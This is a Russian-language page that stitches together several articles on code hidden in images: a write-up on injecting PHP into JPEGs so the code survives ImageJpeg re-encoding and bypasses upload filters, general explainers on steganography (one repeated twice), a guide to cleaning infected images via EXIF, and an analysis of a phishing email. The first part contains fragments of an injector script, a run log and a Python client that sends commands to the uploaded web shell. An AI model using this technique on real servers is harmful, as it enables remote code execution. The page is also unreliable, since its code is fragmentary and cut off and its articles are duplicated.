вредоносный код в картинке
Сокрытие PHP-кода в изображениях
Некоторое время назад мне на глаза попалась тема на форуме, посвященная загрузке файлов средствами PHP. В том топике люди обсуждали меры, которые необходимо предпринять, чтобы обезопасить сервер от вредоносных файлов.
Некоторое время назад мне на глаза попалась тема на форуме, посвященная загрузке файлов средствами PHP. В том топике люди обсуждали меры, которые необходимо предпринять, чтобы обезопасить сервер от вредоносных файлов. В частности, предлагалось разрешить загрузку только определенных типов файлов, обрабатывать уже загруженные файлы и т. д.
В процессе той дискуссии были придуманы следующие меры безопасности: запретить загрузку файлов, относящихся к php-скриптам, а затем при помощи ImageJpeg (функция обработки изображений средствами PHP) провести верификацию загруженных изображений. Мне, как разработчику, этот комплекс мер вполне нравится. Если файл не соответствует графическому формату, функция ImageJpeg возвратит false, и загрузка отменится. С другой стороны, даже если злоумышленнику удастся внедрить код в изображение, картинка перед сохранением на диск также будет обработана и изменена функцией ImageJpeg.
Следующая идея – добавить код напрямую в изображение при помощи шестнадцатеричного редактора так, чтобы картинка выглядела «правильной» для функции ImageJpeg. Основная сложность в реализации этого метода была связана с описанными ранее причинами: после обработки изображения функцией ImageJpeg и записи файла на диск код был поврежден. Картинка практически всегда оказывалась корректной за исключением небольших искажений (по причине моего вмешательства).
После долгих экспериментов мне удалось получить обработанное изображение с работоспособным кодом внутри.
В процессе улучшения метода инжекта кода, убедившись, что изображение искажается не сильно, я написал скрипт, который автоматически добавляет код в картинку. После отработки скрипта и обработки заряженного изображения различными утилитами (в том числе функцией ImageJpeg) код оставался работоспособен. Проводилось даже тестирование на изменение размера картинки, и во многих случаях код также работал (но не всегда).
Ниже показано изображение до инжекта кода:
Следующее изображение (степень искажения зависит от конкретной картинки) уже с инжектированным кодом. Не беспокойтесь, в текущем состоянии код не выполнится.
Ниже представлен скрипт автоматизирующий процесс добавления кода:
ini_set(‘display_errors’, 0);
error_reporting(0);
//File that contains the finished result to be uploaded
$result_file = ‘pic.jpg.phtml’;
//Original input file
$orig = ‘test.jpg’;
//Code to be hidden in the image data
$code = »;
echo «-=Imagejpeg injector 1.6=-\n»;
echo «[+] Jumping to end byte\n»;
$start_byte = findStart($data);
sleep(1);
$src = imagecreatefromjpeg($result_file);
echo «[-] Unable to find valid injection point. Try a shorter command or another image\n»;
Подводим итоги. После нескольких дней экспериментов мне удалось обойти защиту скрипта и автоматизировать процесс (этапы работы скрипта показаны ниже):
[+] Jumping to end byte
[+] Searching for valid injection point
[+] Injection completed successfully
[+] Filename: result.phtml
И в завершении я написал простенький скрипт для пересылки команд файлу после загрузки на сервер, парсинга информации внутри изображения и отображение результатов.
import urllib.request
import argparse
import http.client
import urllib.parse
import re
def main():
parser = argparse.ArgumentParser()
parser.add_argument(«domain», help=»domain to connect to»)
parser.add_argument(«port», help=»port to connect to»)
parser.add_argument(«path», help=»path to the jellyshelly file»)
args = parser.parse_args()
domain = args.domain
path = args.path
port = args.port
def makeRequest(cmd, domain, port, path):
lines = cmd.split(‘\n’)
httpServ = http.client.HTTPConnection(domain, port)
httpServ.connect()
httpServ.request(‘POST’, path, params, headers)
response = httpServ.getresponse()
response_string = response.read().decode(«utf-8», «replace»)
if response.status == http.client.OK:
for result in re.findall(r'(?
Linux truesechp01 3.13.0-29-generic #53-Ubuntu SMP Wed Jun 4 21:00:20 UTC 2014 x86_64
Вредоносный код в картинке: киберпреступники и стеганография
Сейчас «читает между строк» говорят про человека, который умеет понимать намеки и скрытые смыслы. Между тем когда-то в буквальном смысле между строк действительно передавали тайные сообщения, написанные невидимыми чернилами. Прием, когда автор послания прячет секретную информацию внутри чего-то на первый взгляд совершенно невинного, называется стеганография и применяется с незапамятных времен.
В отличие от криптографии, которая делает сообщение нечитаемым без знания ключа для расшифровки, задача стеганографии в том, чтобы посторонние вовсе не догадались о существовании сообщения. Как и многие другие методы работы с информацией, сегодня стеганография используется и в цифровых технологиях.
Как работает цифровая стеганография?
Спрятать секретное послание можно практически в любой цифровой объект — текстовый документ, лицензионный ключ, расширение файла. С его помощью можно защитить от копирования уникальный контент ресурса. Один из самых удобных «контейнеров» — медиафайлы (картинки, аудио, видео и так далее). Они обычно достаточно большие по размеру, а значит, и «довесок» может быть не таким маленьким, как в документе Word.
Секретную информацию можно записать в метаданные файла или же прямо в его основное содержимое, например, в картинку. С точки зрения компьютера она представляет собой набор из сотен тысяч точек-пикселей. У каждого пикселя есть «описание» — информация о его цвете. Для формата RGB, который используется в большинстве цветных картинок, это описание занимает в памяти 24 бита. Если в описании некоторых или даже всех точек 1–3 бита будет занято секретной информацией, на картинке в целом изменения будут неразличимы. А за счет огромного числа пикселей всего в изображение вписать можно довольно много данных. На нижних изображениях заметны области с высокой энтропией (высокой плотностью данных) — это и есть внедренное сообщение.
В большинстве случаев прячут информацию в пиксели и извлекают ее оттуда при помощи специальных утилит. Иногда для этой цели пишут собственные скрипты или добавляют нужную функциональность в программы другого назначения. А иногда пользуются готовыми кодами, которых в сети немало.
Как используют цифровую стеганографию?
Применений стеганографии в компьютерных технологиях немало. Прятать текст в картинку, видео или музыкальный трек можно и развлечения ради, и для защиты файла от нелегального копирования.
Скрытые водяные знаки — это тоже пример стеганографии. Однако первое, что приходит в голову, когда речь заходит о тайных посланиях как в физической, так и в цифровой форме, — это разнообразная тайная переписка и шпионаж.
Стеганография — находка для кибершпиона
Интерес злоумышленников к стеганографии был отмечен экспертами по кибербезопасности еще полтора года назад. Тогда в их поле зрения попали по меньшей мере три шпионских кампании, на командные серверы которых отправлялись данные под видом фото и видео. С точки зрения систем безопасности и сотрудников, следящих за исходящим трафиком, ничего подозрительного в том, что в Сеть загружают медиафайлы, не было. На это и рассчитывали преступники.
Еще одна шпионская программа получала команды через картинки. Злоумышленники общались со зловредом при помощи сообщений в твиттере, в которых серьезную информацию ищут в последнюю очередь. Очутившись на компьютере жертвы, зловред открывал опубликованный злоумышленниками пост и извлекал из смешной картинки инструкцию для дальнейших действий. Среди команд, к примеру, были такие:
Код в картинке
Вслед за кибершпионами к стеганографии стали чаще прибегать и другие киберпреступники: ведь в медиафайле можно спрятать не просто текст, а кусок вредоносного кода. Это не превращает картинку, музыку или видео в полноценного зловреда, однако позволяет скрыть от антивируса.
Так, злоумышленники распространяли через рекламные сети занятный баннер. Собственно рекламы на нем не было, он выглядел как полоска – небольшой белый прямоугольник. Зато он содержал скрипт, который выполнялся в браузере (в рекламный слот можно загружать скрипты, например, чтобы компании могли собирать статистику о просмотре объявления).
Этот скрипт распознавал цвет пикселей на картинке и записывал его в виде набора букв и цифр. Казалось бы, довольно бессмысленная задача, так как это был просто белый прямоугольник. Однако в глазах программы пиксели были почти белыми, и это «почти» она преобразовывала во вредоносный код, который тут же и исполняла.
Извлеченный из картинки код перенаправлял пользователя на сайт злоумышленников. Там жертву уже ждал троян, притворяющийся обновлением Adobe Flash Player, который затем скачивал другие вредоносные программы.
Обнаружить стеганографию очень трудно
Как отметили на форуме RSA, качественную стеганографию распознать крайне сложно. Избавиться от нее тоже не так-то просто: есть методы, позволяющие вшить сообщение в картинку настолько глубоко, что оно сохранится даже после того, как ее напечатают и снова отсканируют, уменьшат, увеличат или еще как-то отредактируют.
Однако, информацию — в том числе код — из изображений и видео извлекают при помощи специальной программы. То есть сами по себе медиафайлы ничего с вашего компьютера не украдут и на него не загрузят. Так что вы можете обезопасить свое устройство с помощью этих простых правил:
Лечение вируса в картинках на основе регулярных выражений bash
Вирусы в PNG как удалять?
Данная статья написана с двумя целями:
Во время поиска и удаления вредоносного кода столкнулись с вирусами в картинках, вирусы всего находят оригинальные места и способы своего хранения и проникновения. Однако нам предстоит тщательным образом удалить все остатки вредоносного кода и нам понадобится почистить и сами картинки. Начинаем разбирать проблему.
Открываем бинарный код картинки и видим.
А вот как картинка выглядит в живую.
Как мы видим картинка вполне читаема, но содержит вредоносный код.
Поскольку картинки повреждены практически все, удалять тело нам придется на основе регулярных выражений. При детальном осмотре, файлов jpg png gif были найдены модификации вирусов. Если проще говорить — не все они были одинаковые, а порой специально тело вируса видоизменяется каждый раз при записи в новую картинку.
Изменяя начало конец, а так же название переменных в своем теле. Что затрудняет его удаление.
Первое что пришло на ум, перекомпилировать все картинки с консоли однако тесты показали, что картинка мало того что не удаляет вредоносный код, так и даже при редактировании через графический редактор phptoshop и сохранение поверх другой картинки так же наследует вирусный код. Следовательно, пришлось рыться и искать место где так легко сохраняется вирус, даже при изменение размера картинки.
После поисков это место было найдено. EXIF
Если вам это ничего не говорит, вирусу на это все равно. В двух словах это сопутствующая информация о фото. Где, на что она была сделана, условия съемки и так далее.
С этого момента картина прояснилась. Стало понятно, что никакая модификация самой картинки не удалит код. Нужно модифицировать сам EXIF.
Смотрим, что же там написано и сравним с первой же фото сделанной на фотоаппарат.
Отлично, мы нашли код вируса от начала до конца, теперь даже видоизменяющийся вирус мы сможем удалить, не повреждая сам файл. Остается придумать как. Далее, сразу предупрежу, мы не используем обычные хостинги, а используем исключительно арендуемое оборудование в германских дата центрах, и доступ до серверов у нас полный ROOT SSH. Если же вы используете обычный хостинг вам работа усложнится.
Для качественного удаления нам понадобится утилита редактирующая EXIF. Нам вполне подойдет exiftools.
Теперь нам нужно изучить exiftool. После поисков нужного нам атрибута мы остановились на ‘-all= ‘
Получаем на выходе
Создаем регулярное выражение на основе выше найденного.
Тем самым, видим есть ли вирус в файле.
Далее не буду приводить множество модификаций регулярного выражения, опишу всего лишь проблемы при его создание.
В общем, вот сам скрипт, который учитывает уже все подводные камни, однако скорость его работы оставляет желать лучшего, даже при таких конфигурациях он будет 300 сайтов прогонять не один десяток часов. Однако гарантирует 100% удаление всех вирусов с корректной работой самой картинки. И в этот расчет не берется удаление оставшегося кода вируса вне картинок.
Можно сократить команду до более понятной.
актуально для Debian ветки.
find. — ищет все рекурсивно от текущего каталога
-type f только файлы
-or смотреть так же
-exec запускает команду
<> — все что передала предыдущая команда при переборе
rm — удаляет файл оставляемый exiftool после изменений.
Также, при лечение, стоит учитывать, что удалить требуется сам вирус, его последствия, шелл скрипит вируса, притом все их копии. Вирусы по одному не ходят, так что продолжаем искать еще вирусы, до полной уверенности в их отсутствии.
Подробней о самом вирусе можно найти в интернете. Я же показываю как удалить его с картинок.
Письмо со ссылкой на зловред
В почтовом ящике можно встретить не только спам и фишинг, но и письма, где под картинкой спрятана ссылка на шпионский троян.
Как правило, когда заходит речь о краже учетных данных, все вспоминают письма с фишинговыми ссылками. Однако это не единственная почтовая угроза, которую злоумышленники используют для добычи логинов и паролей от всевозможных сервисов. Мошенники до сих пор регулярно рассылают в письмах и ссылки на шпионящие зловреды. Одна из уловок, которую они используют для маскировки такой ссылки, — картинка, имитирующая вложение.
Вредоносное письмо
На этот раз разберем пример целевой атаки. Злоумышленники приложили немало усилий, чтобы их письмо выглядело убедительно. Они пишут компании, которая предоставляет промышленные услуги и торгует оборудованием, запрос на предоставление коммерческого предложения. И прилагают гайдлайны, по которым такое предложение должно быть составлено.
В целом, промышленные компании должны достаточно часто получать такого рода запросы. И обычно менеджеры охотно открывают гайдлайны и готовят коммерческие предложения, даже не обращая внимания на легкие нестыковки доменного имени отправителей с подписями, и так далее. Но нас тут в первую очередь интересует именно уловка, при помощи которой они пытаются заставить получателя запустить зловред, — ее точно можно заметить даже невооруженным взглядом. Вот так выглядит письмо:
Письмо со ссылкой на зловред
Видите вложенный PDF? Так вот, это вообще не аттачмент. Да, действительно, Outlook отображает почтовые вложения подобным образом. Но есть ряд существенных отличий:
Настоящий PDF в письме
Что же пришло в этом письме? На самом деле это обыкновенная картинка. Это очень хорошо видно, если попытаться выделить содержимое письма мышкой или при помощи комбинации ctrl+A.
Картинка, изображающая вложенный PDF
А под картинкой расположена ссылка на вредоносную программу. Если пользователь нажмет на нее, к нему на компьютер скачается троян-шпион.
Полезная нагрузка атаки
В данном случае вредоносная ссылка вела на архив Swift_Banco_Unicredit_Wire_sepa_export_000937499223.cab, в котором находился загрузчик трояна, определяемого нашими технологиями как Trojan-Spy.Win32.Noon. Это достаточно стандартный шпион, известный с 2017 года, который позволяет злоумышленникам воровать пароли и прочие данных из различных форм ввода.
Как оставаться в безопасности
Как обычно, для того чтобы трояны-шпионы не нанесли ущерб вашей компании, следует снабдить каждое устройство, имеющее подключение к Интернету, надежным защитным решением. Оно просто не даст вредоносной программе запуститься.
Кроме того, разумно обучать сотрудников самостоятельно выявлять уловки злоумышленников в почте.
Код в картинке, или Что такое стеганография?
Рассказываем об одном из самых креативных способов спрятать информацию.
Сейчас «читает между строк» говорят про человека, который умеет понимать намеки и скрытые смыслы. Между тем когда-то в буквальном смысле между строк действительно передавали тайные сообщения, написанные невидимыми чернилами.
Прием, когда автор послания прячет секретную информацию внутри чего-то на первый взгляд совершенно невинного, называется стеганография и применяется с незапамятных времен. В отличие от криптографии, которая делает сообщение нечитаемым без знания ключа для расшифровки, задача стеганографии в том, чтобы посторонние просто не догадались о существовании этого сообщения. Как и многие другие методы работы с информацией, сегодня стеганография используется и в цифровых технологиях.
Как работает цифровая стеганография?
Спрятать секретное послание можно практически в любой цифровой объект — текстовый документ, лицензионный ключ, расширение файла. Например, редакторы сайта Genius.com, посвященного разбору треков рэп-исполнителей, использовали два вида апострофов в текстах таким образом, чтобы вместе они составляли словосочетание red handed («с поличным») на азбуке Морзе. Таким образом они защищали от копирования уникальный контент ресурса.
Однако один из самых удобных «контейнеров» — медиафайлы (картинки, аудио, видео и так далее). Они обычно достаточно большие сами по себе, а значит, и «довесок» может быть не таким маленьким, как в случае, скажем, с документом Word.
Секретную информацию можно записать в метаданные файла или же прямиком в основное содержимое. Возьмем, например, картинку. С точки зрения компьютера она представляет собой набор из сотен тысяч точек-пикселей. У каждого пикселя есть «описание» — информация о его цвете.
Для формата RGB, который используется в большинстве цветных картинок, это описание занимает в памяти 24 бита. Если в описании некоторых или даже всех точек 1–3 бита будет занято секретной информацией, на картинке в целом изменения будут неразличимы. А за счет огромного числа пикселей всего в изображение вписать можно довольно много данных.
Слева просто картинка без скрытого сообщения, а в изображении справа спрятаны первые 10 глав «Лолиты» Набокова
В большинстве случаев прячут информацию в пиксели и извлекают ее оттуда при помощи специальных утилит. Иногда для этой цели пишут собственные скрипты или добавляют нужную функциональность в программы другого назначения. А иногда пользуются готовыми кодами, которых в сети немало.
Как используют цифровую стеганографию?
Применений стеганографии в компьютерных технологиях немало. Прятать текст в картинку, видео или музыкальный трек можно и развлечения ради, и, скажем, для защиты файла от нелегального копирования — как в приведенном выше примере с апострофами в текстах песен.
Да, скрытые водяные знаки — это тоже вполне себе пример стеганографии. Однако первое, что приходит в голову, когда речь заходит о тайных посланиях как в физической, так и в цифровой форме, — это разнообразная тайная переписка и шпионаж.
Стеганография — находка для кибершпиона
Всплеск интереса злоумышленников к стеганографии наши эксперты заметили полтора года назад. Тогда в их поле зрения попали по меньшей мере три шпионских кампании, в которых данные жертв отправлялись на командные серверы под видом фото и видео.
С точки зрения систем безопасности и сотрудников, следящих за исходящим трафиком, ничего подозрительного в том, что в Сеть загружают медиафайлы, не было. На это и рассчитывали преступники.
Самые тонкие мемы
Еще одна любопытная шпионская программа, наоборот, получала команды через картинки. Злоумышленники общались со зловредом при помощи сообщений, в которых серьезную информацию ищут в последнюю очередь, — твитов с мемами.
Очутившись на компьютере жертвы, зловред открывал опубликованный злоумышленниками пост и выуживал из смешной картинки инструкцию для дальнейших действий. Среди команд, к примеру, были такие:
Код в картинке
Вслед за шпионами к стеганографии стали чаще прибегать и другие киберпреступники: ведь в медиафайле можно спрятать не просто текст, а кусок вредоносного кода. Это не превращает картинку, музыку или видео в полноценного зловреда, однако позволяет скрыть от антивируса полезную нагрузку.
Так, в январе злоумышленники распространяли через рекламные сети занятный баннер. Собственно рекламы на нем не было, он выглядел как небольшой белый прямоугольник. Зато он содержал скрипт, который выполнялся в браузере. Да, в рекламный слот можно загружать скрипты, например, чтобы компании могли собирать статистику о просмотре объявления.
Баннер со скрытым кодом. Источник: блог компании Confiant
В случае киберпреступников скрипт распознавал цвет пикселей на картинке и записывал его в виде набора букв и цифр. Казалось бы, довольно бессмысленная задача: помните, там был просто белый прямоугольник? Однако в глазах программы пиксели были почти белыми, и это «почти» она преобразовывала во вредоносный код, который тут же и исполняла.
Извлеченный из картинки код перенаправлял пользователя на сайт злоумышленников. Там жертву уже ждал троян, притворяющийся обновлением Adobe Flash Player, который затем скачивал другие гадости, в частности рекламное ПО.
Обнаружить стеганографию очень трудно
Как отметил на форуме RSA Conference 2018 эксперт Саймон Уайзмен (Simon Wiseman), качественную стеганографию распознать крайне сложно. Избавиться от нее тоже не так-то просто: есть методы, позволяющие вшить сообщение в картинку настолько глубоко, что оно сохранится даже после того, как ее напечатают и снова отсканируют, уменьшат, увеличат или еще как-то отредактируют.
Однако, как мы уже упоминали, информацию — в том числе код — из изображений и видео извлекают при помощи специальной программы. То есть сами по себе медиафайлы ничего с вашего компьютера не украдут и на него не загрузят. Так что вы можете обезопасить свое устройство, защитив его от компонентов зловреда, которые прячут текст в медиафайлы и извлекают его из них: